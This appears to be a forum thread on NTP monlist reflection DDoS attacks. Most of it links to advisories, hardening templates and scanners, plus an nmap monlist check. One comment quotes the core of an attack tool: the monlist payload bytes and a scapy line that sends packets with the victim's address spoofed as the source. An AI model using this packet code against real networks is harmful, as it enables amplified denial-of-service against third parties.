Create a DDOS attack using NTP servers

Spent the night last night dealing with this attack. Here is what you should know to deal with it:<p><a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" rel="nofollow">https:&#x2F;&#x2F;www.us-cert.gov&#x2F;ncas&#x2F;alerts&#x2F;TA14-013A</a>

hdmoore re-disclosed this back on mar 2 2010. nothing new here. more about this:<p><a href="https://labs.ripe.net/Members/mirjam/ntp-reflections" rel="nofollow">https:&#x2F;&#x2F;labs.ripe.net&#x2F;Members&#x2F;mirjam&#x2F;ntp-reflections</a><p>templates from the team cymru guys to secure your ntp installations, which have also been around a while.<p><a href="http://www.team-cymru.org/ReadingRoom/Templates/secure-ntp-template.html" rel="nofollow">http:&#x2F;&#x2F;www.team-cymru.org&#x2F;ReadingRoom&#x2F;Templates&#x2F;secure-ntp-t...</a>

If you&#x27;re concerned your NTP servers may have the monlist command enabled and therefore be available for attackers to use to mount these reflection attacks there is a Nessus plugin to check for this: <a href="http://www.tenable.com/plugins/index.php?view=single&amp;id=71783" rel="nofollow">http:&#x2F;&#x2F;www.tenable.com&#x2F;plugins&#x2F;index.php?view=single&amp;id=7178...</a>

So can a server just close or move NTP ports to survive this and block default ports via firewall?

<p><pre><code> $ nmap -sU -pU:123 -Pn -n --script=ntp-monlist &lt;target&gt; </code></pre> -- <a href="http://nmap.org/nsedoc/scripts/ntp-monlist.html" rel="nofollow">http:&#x2F;&#x2F;nmap.org&#x2F;nsedoc&#x2F;scripts&#x2F;ntp-monlist.html</a>

Has someone tried getting all vulnerable NTP servers with zmap and shutting them down?

That&#x27;s a dangerous tool to be releasing this early but hey if you can why not :)

Here are the important lines from ntpdos.py:<p>&gt; #Magic Packet aka NTP v2 Monlist Packet<p>&gt; data=str(&quot;\x17\x00\x03\x2a&quot;) + str(&quot;\x00&quot;)*4<p>&gt; packet = IP(dst=ntpserver,src=target)&#x2F;UDP(sport=48947,dport=123)&#x2F;Raw(load=data) #BUILD IT

59.151.34.14

Suggested reading: <a href="http://blog.cloudflare.com/understanding-and-mitigating-ntp-based-ddos-attacks" rel="nofollow">http:&#x2F;&#x2F;blog.cloudflare.com&#x2F;understanding-and-mitigating-ntp-...</a>